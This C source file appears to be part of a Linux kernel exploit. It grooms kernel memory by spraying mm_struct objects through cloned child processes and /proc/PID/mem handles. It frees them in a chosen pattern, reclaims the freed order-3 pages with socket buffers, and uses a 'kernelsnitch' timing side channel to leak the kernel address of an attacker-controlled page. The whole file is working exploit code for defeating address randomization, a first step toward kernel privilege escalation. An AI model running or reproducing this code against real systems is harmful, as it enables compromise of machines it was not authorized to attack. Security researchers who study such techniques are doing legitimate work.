#include "common.h"
#include "kernelsnitch/kernelsnitch.h"

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>

enum {
	MM_ORDER = 3,
	MM_PARTIALS = 5,
};

struct mm_ctx {
	size_t count;
	pid_t *children;
	int *memfds;
};

static struct kernelsnitch_shared_state *ks;
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static pid_t child_leak;
static pid_t worker_pid;
static int memfd_leak = -1;
static int reclaim_sv[2] = {-1, -1};
static int shaping_sv[2] = {-1, -1};
static size_t mm_objects_per_slab;
static unsigned char *skb_data;

static void close_fd(int *fd)
{
	if (*fd >= 0) {
		close(*fd);
		*fd = -1;
	}
}

static void kill_child(pid_t child)
{
	if (child <= 0)
		return;
	if (kill(child, SIGKILL) < 0 && errno != ESRCH)
		return;
	while (waitpid(child, NULL, 0) < 0 && errno == EINTR)
		;
}

static void cleanup_children(void)
{
	if (getpid() != worker_pid)
		return;
	kill_child(child_leak);
	child_leak = 0;
	for (size_t i = 0; i < prepare_ctx.count; i++)
		kill_child(prepare_ctx.children[i]);
	for (size_t i = 0; i < spray_ctx.count; i++)
		kill_child(spray_ctx.children[i]);
	for (size_t i = 0; i < pre_ctx.count; i++)
		kill_child(pre_ctx.children[i]);
	for (size_t i = 0; i < post_ctx.count; i++)
		kill_child(post_ctx.children[i]);
}

static void alloc_ctx(struct mm_ctx *ctx, size_t count)
{
	ctx->count = count;
	ctx->children = calloc(count, sizeof(*ctx->children));
	ctx->memfds = malloc(count * sizeof(*ctx->memfds));
	if (!ctx->children || !ctx->memfds)
		pr_error("allocate mm context\n");
	for (size_t i = 0; i < count; i++)
		ctx->memfds[i] = -1;
}

void known_page_prepare(unsigned char *data)
{
	worker_pid = getpid();
	atexit(cleanup_children);
	skb_data = data;
	mm_objects_per_slab = (EXPLOIT_PAGE_SIZE << MM_ORDER) / 1280;
	alloc_ctx(&prepare_ctx, 32 * mm_objects_per_slab);
	alloc_ctx(&spray_ctx, (1 + MM_PARTIALS) * mm_objects_per_slab);
	alloc_ctx(&pre_ctx, mm_objects_per_slab - 1);
	alloc_ctx(&post_ctx, mm_objects_per_slab);
}

static pid_t clone_pause_child(void)
{
	pid_t child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0);

	if (child < 0)
		pr_error("clone pause child: %m\n");
	if (child == 0) {
		pin_to_core(CORE);
		for (;;)
			pause();
	}
	return child;
}

static pid_t clone_collision_child(void)
{
	pid_t child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0);

	if (child < 0)
		pr_error("clone collision child: %m\n");
	if (child == 0) {
		pr_info("child kernelsnitch_find_collisions start\n");
		kernelsnitch_find_collisions(ks);
		pr_info("child kernelsnitch_find_collisions done\n");
		_exit(0);
	}
	return child;
}

static int open_child_mem(pid_t child)
{
	char path[64];
	int fd;

	snprintf(path, sizeof(path), "/proc/%d/mem", child);
	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		pr_error("open %s: %m\n", path);
	return fd;
}

static void socket_pair(int sv[2])
{
	if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, sv) != 0)
		pr_error("socketpair: %m\n");
}

static void send_order3_skb(int sv[2])
{
	struct iovec iov = {.iov_base = skb_data, .iov_len = 65536};
	struct msghdr msg = {.msg_iov = &iov, .msg_iovlen = 1};

	if (sendmsg(sv[0], &msg, 0) != (ssize_t)iov.iov_len)
		pr_error("send order-3 skb: %m\n");
}

static void release_skb(int sv[2])
{
	close_fd(&sv[0]);
	close_fd(&sv[1]);
}

uint64_t known_page_acquire(void)
{
	uint64_t address;

	for (size_t i = 0; i < prepare_ctx.count; i++) {
		prepare_ctx.children[i] = clone_pause_child();
		prepare_ctx.memfds[i] = open_child_mem(prepare_ctx.children[i]);
	}
	for (size_t i = 0; i < spray_ctx.count; i++) {
		spray_ctx.children[i] = clone_pause_child();
		spray_ctx.memfds[i] = open_child_mem(spray_ctx.children[i]);
	}

	ks = kernelsnitch_setup(1280, MM_ORDER,
				  sysconf(_SC_NPROCESSORS_ONLN), 8, 1, 0);
	for (size_t i = 0; i < pre_ctx.count; i++)
		pre_ctx.children[i] = clone_pause_child();
	child_leak = clone_collision_child();
	for (size_t i = 0; i < post_ctx.count; i++)
		post_ctx.children[i] = clone_pause_child();
	for (size_t i = 0; i < pre_ctx.count; i++)
		pre_ctx.memfds[i] = open_child_mem(pre_ctx.children[i]);
	memfd_leak = open_child_mem(child_leak);
	for (size_t i = 0; i < post_ctx.count; i++)
		post_ctx.memfds[i] = open_child_mem(post_ctx.children[i]);

	for (size_t i = 0; i < pre_ctx.count; i++) {
		kill_child(pre_ctx.children[i]);
		pre_ctx.children[i] = 0;
	}
	for (size_t i = 0; i < post_ctx.count; i++) {
		kill_child(post_ctx.children[i]);
		post_ctx.children[i] = 0;
	}
	for (size_t i = 0; i < spray_ctx.count; i++) {
		kill_child(spray_ctx.children[i]);
		spray_ctx.children[i] = 0;
	}
	while (waitpid(child_leak, NULL, 0) < 0 && errno == EINTR)
		;
	child_leak = 0;
	if (!kernelsnitch_found_collisions(ks))
		pr_error("KernelSnitch collision finding failed\n");

	socket_pair(reclaim_sv);
	socket_pair(shaping_sv);
	send_order3_skb(shaping_sv);
	for (size_t i = 0; i < pre_ctx.count; i++)
		close_fd(&pre_ctx.memfds[i]);
	for (size_t i = 0; i + 1 < post_ctx.count; i++)
		close_fd(&post_ctx.memfds[i]);
	for (size_t i = 0; i < spray_ctx.count; i += mm_objects_per_slab)
		close_fd(&spray_ctx.memfds[i]);
	release_skb(shaping_sv);
	close_fd(&memfd_leak);
	send_order3_skb(reclaim_sv);

	kernelsnitch_bruteforce(ks);
	address = kernelsnitch_cleanup(ks);
	ks = NULL;
	if (address == UINT64_MAX)
		pr_error("KernelSnitch address phase failed\n");
	return address & ~((1ULL << (12 + MM_ORDER)) - 1);
}

void known_page_release(void)
{
	release_skb(reclaim_sv);
}

void known_page_reclaim(int carrier_sv[2])
{
	socket_pair(carrier_sv);
	known_page_release();
	send_order3_skb(carrier_sv);
}

unsigned char *known_page_data(void)
{
	return skb_data;
}